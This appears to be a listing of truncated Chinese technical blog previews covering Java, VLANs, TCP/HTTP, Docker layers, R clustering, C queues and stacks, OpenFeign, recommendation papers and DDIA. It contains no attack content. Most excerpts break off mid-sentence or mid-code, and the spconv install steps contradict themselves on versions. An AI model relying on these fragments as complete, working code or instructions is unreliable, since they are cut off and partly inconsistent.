javase面试知识总结

文章目录 1.java开发环境JDK、JRE,JVM 2.编译型语言与解释型语言3.java代码的编译和执行过程java代码的执行分类 2.基础知识1.关键字和标识符2.数据类型整数类型:byte、short、int、long浮点类型:float、double字符类型:char布尔类型:boolean数据类型的默认初始值 3.数据类型转换基本数据类型转换 4.运算符5.流程控制6.方法方法的重载:参数传递问题:可变个数的形参 7.数组Arrays工具类 8.面向对象概念内存解析属性封装权限修饰符:**权限修饰符和方法的重写****priavte 关键字****this 关键字****构造方法**标准JavaBean package包MVC设计模式继承父类不可被继承的内容成员变量的继承成员方法的继承构造方法的继承特点super关键字this和super图解继承的特点子类对象实例化的过程 抽象类接口JDK1.8新特性接口的多实现接口的成员变量 接口和抽象类之间的对比多态多态的用法多态的转型instanceof关键字 内部类成员内部类局部内部类匿名内部类 面向对象思维导图 9.Static关键字**类变量****静态方法:**静态原理图解静态代码块程序中成员变量赋值的执行顺序 10.final关键字11.核心API1.API概述2.Scanner 类3.Random类4.Runtime类5.Math类6.String类常量池String字符串的比较intern方法 7.Object类toString方法equals方法 8.Date类9.DateFormat类10.Calendar类11.StringBuilder12.StringBuffer13.System 类14.包装类装箱与拆箱自动装箱与自动拆箱基本类型与字符串之间的转换 15.BigInteger 与 BigDecimalBigInteger类BigDecimal类 16.Collections工具类17. 12.集合1.概述单列集合双列集合 2.Collection集合4.Iterator迭代器Iterator接口 5.foreach 13.单列集合1.List集合(有序)概述List接口常用方法ArrayList、LinkedList、Vector的异同ArrayList 集合LinkedList 集合 2.Set集合Set集合概述HashSet、LinkedHashSet、TreeSet的区别HashSetHashSet去重原理TreeSet 集合TreeSet存储原理LinkendHashSet 集合 14.双列集合1.Map双列集合概述 2.Map接口的共有方法Entry对象 3.Map接口的去重4.Map的实现类比较5.HashMap6.LinkedHashMap7.TreeMap 并发集合15.泛型1.自定义泛型类2.泛型方法3.泛型类的继承子类与父类的泛型关系 4.泛型通配符的使用通配符的使用泛型上下边界 16.异常1.什么是异常2.异常体系3.异常分类4.异常的处理异常的捕获异常的常用方法异常的抛出声明异常 5.异常的注意事项6.自定义异常 17.排序比较器1.自然排序:Comparable接口2.定制排序:Comparator 18.多线程和锁1.Java中的多线程线程的调度 2.线程类Thread 类使用Runnable创建线程Thread和Runnable的区别使用匿名内部类创建线程实现Callable接口 3.线程的操作线程的休眠sleep线程的加入join守护线程程优先级线程礼让 yield 4.线程安全线程安全问题线程同步同步代码块同步方法Lock锁 线程死锁 5.线程的等待与唤醒线程的等待唤醒与全部唤醒 6.Lock锁的监视器7.线程状态线程状态变化 8.线程池线程池概述线程池的使用ThreadPoolExecutor的构造方法ThreadPoolExecutor如何做到线程复用的? sleep 与 wait的区别 19.io流1.File类构造方法成员方法 2.IO概述IO流简介IO流的分类 3.字节流字节输出流FileOutputStream类FileOutputStream的构造方法如下:写出字节**数据追加续写**写出换行 字节输入流FileInputStream类构造方法读取字节数据 4.字符流字符输入流FileReader类构造方法读取字符数据 字符输出流FileWriter类构造方法基本写出数据关闭和刷新写出其他数据 5.属性集Properties类构造方法基本的存储方法与流相关的方法 6.转换流字符编码和字符集编码与解码字符集与编码编码的问题 转换输入流转换输出流 7.缓冲流缓冲流的分类字节缓冲流字符缓冲流 8.序列流序列化概述对象输出流对象输入流序列化版本号 9. 打印流打印流的使用标准输入输出流标准输入流标准输出流 BIO、NIO、AIOBIO、NIO、AIO 有什么区别? 3.

第七讲(一):VLAN的原理及配置

文章目录 一、VLAN概述与优势1、 VLAN简介2、 VLAN的目的和优势 二、VLAN的种类三、VLAN的基本概念1、 VLAN标签2、 常用设备收发数据帧的VLAN标签情况2.1 在一个VLAN交换网络中,以太网帧主要有以下两种格式:2.2 链路类型和接口类型①链路类型②接口类型 3、 缺省VLAN 四、VLAN配置●交换机SW1配置●交换机SW2配置●路由器AR1 一、VLAN概述与优势 1、 VLAN简介 VLAN(Virtual Local Area Network)即虚拟局域网,是将一个物理的LAN(局域网)的逻辑上划分多个广播域的通信技术。Vlan内的主机间可以直接通信,而Vlan间不能直接直接通信,从而将广播报文限制在一个Vlan内。 分割广播域有两种方法: ① 物理分割:进行子网划分,不同子网间不可相互通信。 ②逻辑分割:VLAN划分,不同VLAN之间不可相互通信。 2、 VLAN的目的和优势 ●目的:当主机数目较多时,会导致冲突严重、广播泛滥、性能显著下降甚至造成网络不可用等问题。 ●优势:控制广播、增强网络安全、简化网络管理。 二、VLAN的种类 ① 静态VLAN 基于端口划分静态VLAN ② 动态VLAN 基于MAC地址划分动态VLAN 三、VLAN的基本概念 参考文献:https://blog.csdn.net/qq_38265137/article/details/80390759 1、 VLAN标签 要使得设备能够分辨不同的VLAN的报文,需要在报文中添加标识VLAN信息的字段,IEEE802.1Q协议规定,在以太网数据帧的目的MAC地址和源MAC地址字段之后,协议类型之前,加上4个字节的VLAN标签(又称VLAN tag,简称Tag),用以标识VLAN信息。 字段解释: ●TPID:2字节(Tag Prototcol Identifier:标签协议标识符)表示数据帧类型。 ●Priority:3位,表示数据帧的802.1Q优先级。 ●CFI:1位,(Canonical Format Indicator:标准格式指示为)表示MAC地址在不同的传输介质中是否以标准格式进行封装,用于兼容以太网和令牌环网。 ●VID:12位,VLAN ID ,表示该数据帧所属VLAN的编号。 ●注意:设备利用VLAN 标签中的VID来标识数据帧所属的VLAN,广播帧指在同一VLAN内转发,这就将广播域限制在一个VLAN内。 2、 常用设备收发数据帧的VLAN标签情况 2.1 在一个VLAN交换网络中,以太网帧主要有以下两种格式: ●有标记帧(Tagged帧):加入了4字节VLAN标签的帧。 ●无标记帧(Untagged帧):原始的、没加入4字节VLAN标签的帧 2.2 链路类型和接口类型 ●设备内部处理的数据帧一律都带有VLAN标签,而网中的设备有些只会收发Untagged帧,要与这些设备交互,就需要接口能够识别Untagged帧并在收发时给帧添加、剥除VLAN标签。 ●网络中属于同一个VLAN的用户可能会被连接在不同的设备上,且跨越设备的VLAN可能不止一个,如果需要用户间的互通,就需要设备间的接口能够同时识别和发送多个VLAN的数据帧。 ●为了适应不同连接和组网,设备定义了Access接口、Trunk接口和Hybrid接口三种接口类型,以及接入链路(Access Link)和干道链路(Trunk Link)两种链路类型。 ①链路类型 根据链路中需要承载的VLAN数目的不同,以太网链路分为: ●接入链路

ubuntu 18.04 安装 spconf 1.2

官方地址 https://github.com/traveller59/spconv/tree/v1.2.1 步骤 git clone https://github.com/traveller59/spconv.git --recursive sudo apt-get install libboost-all-dev # 确保 cmake version >= 3.13.2,查看版本命令 cmake --version # 如果低于此版本,按照下述步骤安装并加入路径 wget https://github.com/Kitware/CMake/releases/download/v3.18.2/cmake-3.18.2-Linux-x86_64.tar.gz export PATH=/home/name/xxx/cmake-3.18.2-Linux-x86_64/bin:"${PATH}" source ~/.bashrc # cmake安装好接着往下走 python setup.py bdist_wheel # 如果报错 no moudle namd pccm,先安装pccm,再执行上面那句 pip install pccm cd ./dist pip install spconv-2.1.21-py3-none-any.whl

计算机网络_03_传输层(个人总结)

声明: 1. 本文为我的个人复习总结, 并非那种从零基础开始普及知识 内容详细全面, 言辞官方的文章 2. 由于是个人总结, 所以用最精简的话语来写文章 3. 若有错误不当之处, 请指出 基础 TCP 头部格式: TCP是什么? TCP 是面向连接的、可靠的、基于字节流的传输层通信协议 面向连接: ⼀定是⼀对⼀才能连接, 不能像 UDP 协议可以⼀个主机同时向多个主机发送消息 可靠: 序列号可以保证数据 不重、 不漏、有序; ack确认应答, ack=1000代表前999的数据全都接收到了 重传机制、滑动窗口、流量控制、拥塞控制 等机制 字节流: 消息是「没有边界」的 连接: Socket + 序列号 + 窗口大小 用于保证可靠性和流量控制维护的某些状态信息 如何唯一确定一个 TCP 连接? 四元组(源地址 + 源端口 + 目的地址 +目的端口) TCP 的最大连接数是多少? 理论Max=客户端ip数(2^32) * 客户端端口数(2^16) 实际上要受到两个限制: 内存限制 每个 TCP 连接都要占用一定内存 文件描述符限制(新建 或 打开 的文件) 每个Socket都是一个文件 UDP 头部格式: TCP 和 UDP 区别: 连接

计算机网络_02_应用层(个人总结)

声明: 1. 本文为我的个人复习总结, 并非那种从零基础开始普及知识 内容详细全面, 言辞官方的文章 2. 由于是个人总结, 所以用最精简的话语来写文章 3. 若有错误不当之处, 请指出 基础 HTTP是什么? HTTP 是超文本传输协议, ⼀个在计算机世界里专门在「两点」之间「传输」文字、图片、音频、视频等「超文本」数据的「约定和规范」 URI, URL, URN URI 指的是一个资源,URL 指的是用地址定位一个资源,URN 指的是用名称定位一个资源 HTTP状态码: 301: 永久重定向 **302: ** 临时重定向 304: 资源未修改 400: 客户端请求的报文有错, 笼统的客户端错误 403: 禁止访问此资源 404: 请求的资源寻找不到 500: 服务端出错, 笼统的服务端错误 502: 网关服务器自身正常, 后端服务器出错 503: 服务端忙碌 请求头字段: **Host: ** 指定服务器的域名, 有了 Host 字段,就可以将请求发往「同一台」服务器上的不同网站 Content-Length: 本次响应的数据长度 Connection: 长连接 Content-Type: 数据格式 Content-Encoding: 压缩方式 请求报文格式: 请求行(请求方法+URI协议+版本)请求头空行请求体 示例: GET/sample.jspHTTP/1.1 请求行 Accept:image/gif.image/jpeg, 请求头部 Accept-Language:zh-cn Connection:Keep-Alive Host:localhost User-Agent:Mozila/4.

R实战 | 聚类分析

聚类分析 R中有各种各样的聚类分析函数。本文主要介绍其中的三种方法:层次聚集、划分聚类、基于模型的聚类。 数据准备 聚类分析之前,可以对数据进行预处理,如包括缺失值的处理和数据的标准化。以鸢尾花数据集(iris)为例。 # 数据预处理 mydata <- iris[,1:4] mydata <- na.omit(mydata) # 删除缺失值 mydata <- scale(mydata) # 数据标准化 Partitioning(划分) K-means 是我们最常用的基于欧式距离的聚类算法,其认为两个目标的距离越近,相似度越大。需要分析者先确定要将这组数据分成多少类,也即聚类的个数。根据所提取的簇数绘制出组内的平方和,可以帮助确定合适的簇数。 # 探索最佳聚类个数 # 计算不同个数聚类内部的距离平方和 wss <- (nrow(mydata)-1)*sum(apply(mydata,2,var)) for (i in 2:15) wss[i] <- sum(kmeans(mydata,centers=i)$withinss) plot(1:15, wss, type="b", xlab="Number of Clusters", ylab="Within groups sum of squares") WSS WSS下降趋于稳定的聚类数即为我们的最佳聚类。如图,聚类个数为4时满足要求。(3-5都差不多,并没有唯一聚类数) # K-Means 聚类分析 fit <- kmeans(mydata, 4) # 聚类数为4 # 每个聚类的均值 aggregate(mydata,by=list(fit$cluster),FUN=mean) # 添加聚类列 mydata_result <- data.frame(mydata, fit$cluster) 层次聚类 R语言提供了丰富的层次聚类函数,这里简单介绍一下用Ward方法进行的层次聚类分析。

docker镜像文件分层的原理

概念性的东西: 1、layerID: [root@tlzs diff]# docker pull nginx Using default tag: latest latest: Pulling from library/nginx 1fe172e4850f: Pull complete 35c195f487df: Pull complete 213b9b16f495: Pull complete a8172d9e19b9: Pull complete f5eee2cb2150: Pull complete 93e404ba8667: Pull complete Digest: sha256:859ab6768a6f26a79bc42b231664111317d095a4f04e4b6fe79ce37b3d199097 Status: Downloaded newer image for nginx:latest docker.io/library/nginx:latest 1fe172e4850f、35c195f487df、213b9b16f495、a8172d9e19b9、f5eee2cb2150、93e404ba8667为压缩的layer层的哈希值,这些值为layerID!!! 2、diffID [root@tlzs diff]# docker inspect nginx:latest ...... ...... "RootFS": { "Type": "layers", "Layers": [ "sha256:9c1b6dd6c1e6be9fdd2b1987783824670d3b0dd7ae8ad6f57dc3cea5739ac71e", "sha256:4b7fffa0f0a4a72b2f901c584c1d4ffb67cce7f033cc7969ee7713995c4d2610", "sha256:f5ab86d69014270bcf4d5ce819b9f5c882b35527924ffdd11fecf0fc0dde81a4", "sha256:c876aa251c80272eb01eec011d50650e1b8af494149696b80a606bbeccf03d68", "sha256:7046505147d7f3edbf7c50c02e697d5450a2eebe5119b62b7362b10662899d85", "sha256:b6812e8d56d65d296e21a639b786e7e793e8b969bd2b109fd172646ce5ebe951" ] }, "Metadata": { "LastTagTime": "0001-01-01T00:00:00Z" } } ] 这是镜像的底层的rootfs,但是我们发现这些sha256值和第一步拉取下来的层layerID不一致。这是为什么呢?

33 单词接龙(Word Ladder)

文章目录 1 题目2 解决方案2.1 思路2.2 图解2.2 时间复杂度2.3 空间复杂度 3 源码 1 题目 题目:单词接龙(Word Ladder) 描述:给出两个单词(start和end)和一个字典,找出从start到end的最短转换序列,输出最短序列的长度。变换规则如下:每次只能改变一个字母。变换过程中的中间单词必须在字典中出现。(起始单词和结束单词不需要出现在字典中) 如果不存在这样的转换序列,返回 0。所有单词具有相同的长度。所有单词只由小写字母组成。字典中不存在重复的单词。你可以假设 beginWord 和 endWord 是非空的,且二者不相同。 lintcode题号——120,难度——hard 样例1: 输入: start = "a" end = "c" dict =["a","b","c"] 输出:2 解释:"a"->"c" 样例2: 输入: start ="hit" end = "cog" dict =["hot","dot","dog","lot","log"] 输出:5 解释:"hit"->"hot"->"dot"->"dog"->"cog" 2 解决方案 2.1 思路 根据题意画出dict中单词的转换路径图,给定了起点和终点,则题目转换为要找图中的最短路径长度,使用宽度优先搜索,由于要计算步数的长度,宽搜过程需要按层搜索,直到找到终点。 2.2 图解 示例: start =“hit”,end = “cog”,dict =[“hot”,“dot”,“dog”,“lot”,“log”] 建立的转换图如下: hit hot dot lot dog log cog 按照从起点“hit”按照宽度优先搜索的方式进行层级遍历,第一层找到”hot“,第二层找到“dot”和“lot”,第三层找到“dog”和“log”,第四层找到了终点“cog”,经历了四步,长度为5。 如果直接在dict中进行查找,在dict中找到节点所有邻接节点需要遍历一次字典,耗时为O(n),其中n为dict中单词的数量。 考虑使用替换单词中的字母的方式,长度为L的单词,每个字母能替换成另外25个不同的字母,产生的可转换单词数量为L*25,在哈希表dict中查找长度为L的单词是否存在的耗时为O(L),所以能够在O(25*L*L)的时间内完成搜索。

python使用tk编写GUI界面中Button调用方法如果执行时间过长的话会导致tk界面卡死,或者一拖动就会卡死

python使用tk编写GUI界面中Button调用方法如果执行时间过长的话会导致tk界面卡死, 或者一拖动就会卡死。实测完美解决方法, import threading def thread_it(fc): t = threading.Thread(target=fc) t.setDaemon(True) t.start() def bc(): time.sleep(10) ———————————————— 版权声明:本文为CSDN博主「凉云半」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/weixin_46155246/article/details/119930870

Kaggle: ImageNet Dog Breed Classification (Pytorch)

本文为自学碰壁的完成任务的一个记录总结,无任何参考价值 写在前面:本文章是跟着《动手深度学习》(李沐)学习过程中的动手实操,前因是对一个树叶数据集分类,但是由于自己太小白(太菜了)折腾了两三周才弄出来,但是觉得还是值得记录一下,对整个过程中自己碰壁过程进行一个总结。由于对于树叶分类的那个问题自己有点雨里雾里的,觉得没达到效果,所以才有了在 Kaggle 上 ImageNet Dog Breed Classification 的分类,本文同样也记录了树叶分类 总结: 多去论坛或者说竞赛地址看看别人写的代码,多看多练出现问题第一时间应该去查找,可以去IDE debug ,实在不行就Print 大法,我这次有个很关键的问题就是,在树叶分类任务过程中能够,我没有将树叶类别转化为数字而是直接传入Tensor,当然结果注定是失败的,还有就是我在提取类别的时候用了一个for 循环去一个元素一个元素的遍历,花费了大量时间,而在人家的baseline 当中用一个集合思想不能有重复元素就可以解决,效率大大提升,所以多看多练在这个过程中有个自定义dataset类,但是自己不知道是哪里出问题了,导致传入网络的数据是错误的,验证精度从一开始就为零,而训练精度是从0慢慢提升上去,到后面才发现可能是dataset将类别和图片对应传入出问题,所以出问题要有针对性的解决,不要盲目性的瞎捣鼓 目录 ImageNet Dogs Breed Classification自定义Dataset训练部分 动手深度学习实战:树叶分类dataset训练部分 ImageNet Dogs Breed Classification Kaggle 狗的品种分类竞赛网址 自定义Dataset from torch.utils.data import Dataset, DataLoader import numpy as np from PIL import Image import pandas as pd from torchvision import transforms # 读取标签 dog_dataframe = pd.read_csv('../input/dog-breed-identification/labels.csv') # 将标签转化为集合获取所有类的集合,然后再转化list进行排序 dog_labels = sorted(list(set(dog_dataframe['breed']))) # 狗的种类数量 n_class = len(dog_labels) # 需向将string类型的量转化为数字才能ToTensor class_to_num = dict(zip(dog_labels,range(n_class))) class DogsData(Dataset): def __init__(self, csv_path, file_path, mode='train', valid_ratio=0.

Next-item Recommendation with Sequential Hypergraphs 论文阅读笔记

论文标题:Next-item Recommendation with Sequential Hypergraphs 发表于:2020 SIGIR 作者:Jianling Wang,Kaize Ding,Liangjie Hong 代码:https://github.com/wangjlgz/HyperRec 论文地址:https://par.nsf.gov/servlets/purl/10180425 摘要 虽然项目的语义会随着时间和用户的变化而变化,但短期内由用户交互定义的项目相关性可以被提炼以捕捉这种变化,并有助于揭示动态的用户偏好。文章开发一种由顺序超图构成的下一项推荐框架 (i) 采用超图来表示短期项目相关性,并应用多个卷积层来捕获超图中的多阶连接;(ii) 使用残差门控层对不同时间段之间的连接进行建模;(iii) 配备融合层,将动态项目嵌入和短期用户意图结合到每个交互的表示中,然后将其输入到自注意力层以进行动态用户建模。 结论 探索了现实世界场景中项目的动态含义,并提出了一种由序列超图构成的下一个项目推荐框架,结合动态项目嵌入的短期项目相关性通过堆叠超图卷积网络、残差门控和融合层,使其能够提供更准确的用户偏好建模 未来工作 跨平台或跨域传输动态模式以提高预测性能 介绍 在下一项推荐中取得了良好的成功,旨在根据过去的顺序交互预测用户的下一个动作。如何在此类模型中处理项目 在下一个项目推荐的某个时间段内,文章认为项目的含义可以通过用户交互定义的相关性在短期内揭示出来为了捕捉项目语义的这些变化,文章建议在超图 [1, 11] 中对此类短期项目相关性进行建模,其中每个超边可以连接单个边上的多个节点。 虽然超图中的每个节点都表示一个项目,但超边可以将用户在短时间内与之交互的一组项目连接起来 从项目相关性超图中提取富有表现力的项目语义困难 由超边编码的项目相关性不再是二元的(成对的),而是三元的、四元的或更高阶的项目语义可以通过多个跃点传播 例如,在图 (2019 年 9 月)中,虽然不是由同一用户购买,但 iPhone 8 也与 Apple Lightning数据线带有 2 跳连接相关因此,需要设计一种有效地利用超图来学习表达性项目语义的设计 如何捕捉项目的动态含义 项目的语义会随着时间和用户的变化而变化在一个时间点,一个项目也可以为不同的用户带来不同的含义因此,如何捕捉上述两个观点—随时间变化和跨用户变化很重要 文章从两个角度研究项目的动态 ,来改进下一个项目推荐的重要性 1.随着时间的变化和用户之间的变化2.利用项目之间的短期相关性。 开发一种具有顺序超图的新型下一个项目推荐框架,以生成包含项目之间短期相关性的动态项目嵌入。 为了理清不同时间段的短期相关性,HyperRec 根据时间戳截断用户交互以构建一系列超图 借助超图卷积网络 (HGCN),HyperRec 能够聚合具有直接或高阶连接的相关项,以在每个时间段生成动态嵌入 该框架的两个独特方面是用于控制来自过去的残差信息的残差门控层,以及用于编码每个交互的融合层,包括动态项目嵌入和用于序列模式建模的短期用户意图 残差门控层,将前一个时间段的动态项目嵌入与静态项目嵌入相结合,以生成 HGCN 的输入来自 HGCN 的嵌入将被输入融合层,以生成包含动态项目嵌入和短期用户的每个特定用户-项目交互的最终表示 模型架构 HyperRec 基于不同时间段的项目相关性构建一系列超图,HGCN 能够捕获多跳连接中的相关性。从前一个时间段产生的动态项目嵌入可以通过残差门控层影响未来的项目嵌入。动态项目嵌入和短期用户意图都融合在一起,以表示动态用户建模的每个交互 一个项目在某个时间段的意义可以通过短期内用户交互定义的相关性来揭示,并且项目的含义会随着时间的推移和用户之间的变化而变化。这种动态有助于揭示用户的偏好模式示例说明: iPhone 8 是在 2017 年发布时与其他几款最新设备(如 Nintendo Switch)一起购买的,表明它是当时的热门新技术产品。一旦像 iPhone 11 这样的新版本在 2019 年发布,iPhone 8 就成为一种预算选择,因为它可以与其他价格合理的设备一起购买(例如,Nintendo Switch 的精简版或早期一代 AirPods)。同样,我们可以推断用户A购买的花束是用于婚礼的,因为她还购买了通常与婚礼相关的物品。 实验 数据集 Amazon :Etsy :数据集包含 2006 年 11 月至 2018 年 12 月期间销售手工艺品的最大电子商务网站之一的购买记录。Goodreads:来自一个图书阅读社区,用户可以在其中对图书进行标记、评分和撰写评论 数据预处理 Amazon :混合了来自不同类别的购买数据而不是按类别进行实验。我们使用评论时间戳来估计购买的时间戳。移除少于 50 次购买的商品。我们保留在切割时间戳之前购买至少 5 件商品并在切割时间戳之后购买至少 2 件商品的用户Etsy :剔除交易量少于 50 笔的产品,然后过滤掉 2018 年之前少于 5 笔交易或 2018 年少于 2 笔交易的用户Goodreads:保留了在 2017 年之前与超过 5 本书互动的用户,以及在 2017 年至少与 2 本书互动的用户 baseline PopRec:人气推荐。这种简单的方法根据物品的受欢迎程度对物品进行排名,并推荐最热门的物品。TransRec:基于翻译的推荐[14]。 TransRec 使用用户特定的翻译操作对交互序列中不同项目之间的转换进行建模。GRU4Rec+:具有 Top-k 增益的递归神经网络 [16]。作为 GRU4Rec [17] 的改进版本,该模型采用 GRU 对顺序用户行为进行建模,并使用一类新的损失函数来提高 Top-K 增益。TCN:用于下一项推荐的简单卷积生成网络[44]。该基线改进了典型的基于 CNN 的 next-item 推荐模型,带有掩码过滤器和堆叠的 1D 扩张卷积层,用于建模远程依赖关系。HPMN:具有个性化记忆的终身序列建模[25]。 HPMN 由分层周期性记忆网络提供支持,可同时捕获用户的多尺度顺序模式,从而可以将近期用户行为与长期模式相结合。HGN:用于顺序推荐的分层门控网络[22]。该方法包含一个特征门控和一个实例门控,用于在进行下一个项目推荐时分层选择项目的特征和实例以供用户建模。SASRec:自注意力顺序推荐[18]。它采用自注意力层来捕获用户交互序列中的动态模式。它可以被视为 HyperRec 中动态用户建模组件的简化版本,以使用静态项目嵌入来表示每个交互。BERT4Rec:具有来自 Transformer [31] 的双向编码器表示的顺序推荐。该基线利用双向自注意力模块从左右两侧捕获用户历史行为序列中的上下文信息。 评估指标 HIT@KNDCG@KMRR

TAGNN: Target Attentive Graph Neural Networks for Session-based Recommendation论文阅读笔记

论文标题:TAGNN: Target Attentive Graph Neural Networks for Session-based Recommendation 发表于:2020 SIGIR 作者:Feng Yu,Yanqiao Zhu, Qiang Liu 代码:https://github.com/CRIPAC-DIG/TAGNN 论文地址:https://arxiv.org/pdf/2005.02844.pdf 摘要 现有方法将会话压缩为一个固定的表示向量,而不考虑要预测的目标项目。 考虑到目标项目的多样性和用户的兴趣,固定向量会限制推荐模型的表示能力 提出了一种新的目标注意力图神经网络 (TAGNN) 模型,用于基于会话的推荐。 在 TAGNN 中,目标感知注意力自适应地激活不同用户对不同目标项目的兴趣。学习到的兴趣表示向量随着目标项目的不同而变化,极大地提高了模型的表达能力。TAGNN 利用图神经网络来捕获会话中丰富的项目转换 结论 开发了一种新的目标注意力图神经网络模型,用于基于会话的推荐。通过结合图建模和目标感知注意模块,所提出的 TAGNN 联合考虑给定特定目标项目的用户兴趣以及会话中的复杂项目转换。 介绍 基于会话的推荐根据用户在当前会话中的先前行为来预测用户的下一个动作(例如,单击哪个项目)。以前的工作强调复杂的用户行为模式对于基于会话的推荐具有重要意义 [3, 5]。 这些基于序列的方法仅对连续项目之间的顺序转换进行建模,而忽略了复杂的转换。以重复购买为例,这是网购场景中最突出的行为之一。 假设用户的会话是 s = v1 → v2 → v1 → v3。这些基于序列的方法很难捕捉到项目之间的这种来回关系 他们会对 item v1 和 items (v2,v3) 之间的关系感到困惑 本文建议通过会话图 [10] 发现会话下的复杂过渡模式。 通过将会话中的项目建模为会话图,这种对会话中丰富的时间模式进行编码的自然方法可以为每个项目生成更准确的表示 候选项目通常很丰富,用户的兴趣通常是多样的,以前的工作 [3, 5, 10] 表示使用一个嵌入向量的一个会话。 该固定大小的向量代表单个用户的所有兴趣,无法表达不同的用户兴趣,从而限制了推荐模型的表达能力。一种蛮力解决方案,可以考虑扩大该固定长度向量的维度,这反过来会暴露出过度拟合的风险并降低模型性能 给定目标项目[11],可以有针对性地激活具有丰富行为的用户的兴趣本文中提出一个新的目标注意模块改进了所提出的基于图的模型。称为 TAGNN。 所提出的目标注意模块旨在通过考虑给定目标项目的历史行为的相关性来自适应地激活用户兴趣。通过引入本地目标注意力单元,激活当前会话中与目标项目相关的特定用户兴趣,这将有利于下游会话表示 模型架构 TAGNN

【C-数据结构与算法】循环队列

文章目录 1、结构体定义2、初始化3、判空4、入队5、出队6、完整程序 1、结构体定义 2、初始化 3、判空 4、入队 5、出队 6、完整程序 #include<stdio.h> #include<stdlib.h> #define MaxSize 5 typedef int ElemType; typedef struct Queue{ ElemType data[MaxSize];// 数组,存储 MaxSize-1 个元素 int front, rear;// 队列头 队列尾 }SqQueue; void InitQueue(SqQueue& Q) { // 可以连写 Q.front = Q.rear = 0; } bool isEmpty(SqQueue Q) { if (Q.front == Q.rear) { return true; } return false; } // 入队 bool EnQueue(SqQueue& Q,ElemType x) { if ((Q.rear + 1) % MaxSize == Q.

【SpringCloud原理】OpenFeign之FeignClient动态代理生成原理

前段时间我发布两篇关于nacos源码的文章,一篇是聊一聊nacos是如何进行服务注册的,另一篇是一文带你看懂nacos是如何整合springcloud -- 注册中心篇。今天就继续接着剖析SpringCloud中OpenFeign组件的源码,来聊一聊OpenFeign是如何工作的。至于其他组件的原理,我也会不断的剖析和更新,有需要的同学关注一下微信公众号 三友的java日记。 一、@EnableFeignClinets作用源码剖析 我们都知道,要使用feign,必须要使用@EnableFeignClinets来激活,这个注解其实就是整个feign的入口,接下来我们着重分析一下这个注解干了什么事。 @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) @Documented @Import(FeignClientsRegistrar.class) public @interface EnableFeignClients { } 这个注解通过@Import注解导入一个配置类FeignClientsRegistrar.class,FeignClientsRegistrar实现了ImportBeanDefinitionRegistrar接口,所以Spring Boot在启动的时候,会去调用FeignClientsRegistrar类中的registerBeanDefinitions来动态往spring容器中注入bean。如果有不懂小伙伴可以看一下我以前写过的一篇文章看Spring源码不得不会的@Enable模块驱动实现原理讲解 ,这里详细讲解了@Import注解的作用。 接下来看一下registerBeanDefinitions的实现 @Override public void registerBeanDefinitions(AnnotationMetadata metadata, BeanDefinitionRegistry registry) //这个方式是注入一些配置,就是对EnableFeignClients注解属性的解析 registerDefaultConfiguration(metadata, registry); //这个方法是扫秒加了@FeignClient注解 registerFeignClients(metadata, registry); } 这里我们着重分析registerFeignClients,看一看是如何扫描@FeignClient注解的,然后扫描到之后又做了什么。 public void registerFeignClients(AnnotationMetadata metadata, BeanDefinitionRegistry registry) { ClassPathScanningCandidateComponentProvider scanner = getScanner(); scanner.setResourceLoader(this.resourceLoader); Set<String> basePackages; Map<String, Object> attrs = metadata .getAnnotationAttributes(EnableFeignClients.class.getName()); AnnotationTypeFilter annotationTypeFilter = new AnnotationTypeFilter( FeignClient.class); final Class<?>[] clients = attrs == null ? null : (Class<?

【C-数据结构与算法】顺序栈

文章目录 1、结构体定义2、初始化栈3、栈空判断4、入栈5、出栈6、获取栈顶元素完整程序如下 1、结构体定义 2、初始化栈 3、栈空判断 4、入栈 5、出栈 6、获取栈顶元素 完整程序如下 #include<stdio.h> #include<stdlib.h> #define Maxsize 50 typedef int ElemType; typedef struct Stack{ ElemType data[Maxsize];// 数组 int top; }SqStack; void InitStack(SqStack& S) { S.top = -1;// 代表栈空 } bool StackIsEmpty(SqStack S) { if (S.top == -1) { return true; } return false; } bool Push(SqStack& S, ElemType data) { if (S.top == Maxsize-1) { return false;// 栈满 } S.data[++S.top] = data;// 入栈,top后移 return true; } void PrintStack(SqStack S) { for (int i = 0; i <= S.

设计数据密集型应用(五),DDIA

七、批处理 7.1-关于衍生数据 第三部分的内容,主要讨论将多个不同数据系统(有着不同的数据模型,并针对不同的访问模式进行优化)集成为一个协调一致的应用架构时,会遇到的问题。从高层次看,存储和记录数据系统分为2大类: 🅰️ 记录系统(System of record) :数据的权威版本(如果其他系统和记录系统之间存在任何差异,那么记录系统中的值是正确的) 🅱️ 衍生数据系统(Derived data systems) :通常是另一个系统中的现有数据进行转换或处理的结果,如缓存、索引、物化视图等,推荐系统中,预测汇总数据通常衍生自用户日志 三种不同的数据处理系统: 1️⃣ 服务(在线系统) 2️⃣ 批处理系统(离线系统) 3️⃣ 流处理系统(准实时系统) 流处理和批处理最关键的区别是处理无界数据和有界数据 MPP数据库(大规模并行处理(MPP, massively parallel processing)专注于在一组机器上并行执行分析SQL查询,而MapReduce和分布式文件系统的组合则更像是一个可以运行任意程序的通用操作系统,批处理框架看起来越来越像MPP数据库了 7.2-UNIX 基于Unix的awk,sed,grep,sort,uniq和xargs等工具的组合,可以轻松的帮助我们完成一些数据分析的工作,而且性能相当的好。而且,这些工具使用相同的接口,在Unix中,这种接口是一个file(准确的说是一个文件描述符) 文件是一个统一的接口,如果我们的程序的输入和输出都是文件,那么所有的程序缝合起来,像接力一样完成复杂的工作;统一的接口还包括URL和HTTP(我们可以在网站和网站之间无缝跳转)。这和函数式编程的理念非常类似 Unix工具很强大,但是其局限性就是只能在一台机器上运行,所以Hadoop这样的工具应运而生 7.3-MapReduce Unix和MapReduce比对 MR除了生成输出没有副作用简单粗暴却有效分布式分布式文件系统上读写文件使用无共享架构通过工作流(workflow)将多个MR作业连接在一起,文件Unix除了生成输出没有副作用简单粗暴却有效单机使用stdin和stdout作为输入输出共享架构管道符,内存缓存区1 MapReduce是一个编程框架,可以使用它编写代码处理HDFS等分布式文件系统中的大型数据集,并且遵循移动计算大于移动数据的原则。MapReduce的数据处理过程如下: 1️⃣ 读取一组输入文件,并将其分解成记录(records) 2️⃣ 调用Mapper函数,从每条输入记录中提取一对键值;map的任务数由输入文件块的数量决定 3️⃣ 按键排序所有的键值对 4️⃣ 调用Reducer函数遍历排序后的键值对,相同的key,将会在reducer中相邻;reduce的任务数量是可配置的 其中第2️⃣4️⃣步是自定义数据处理代码的地方,第3️⃣步Mapper的输出始终在送往Reducer之前进行排序,无须编写。下图是三个Mapper和三个Reducer的MR任务: 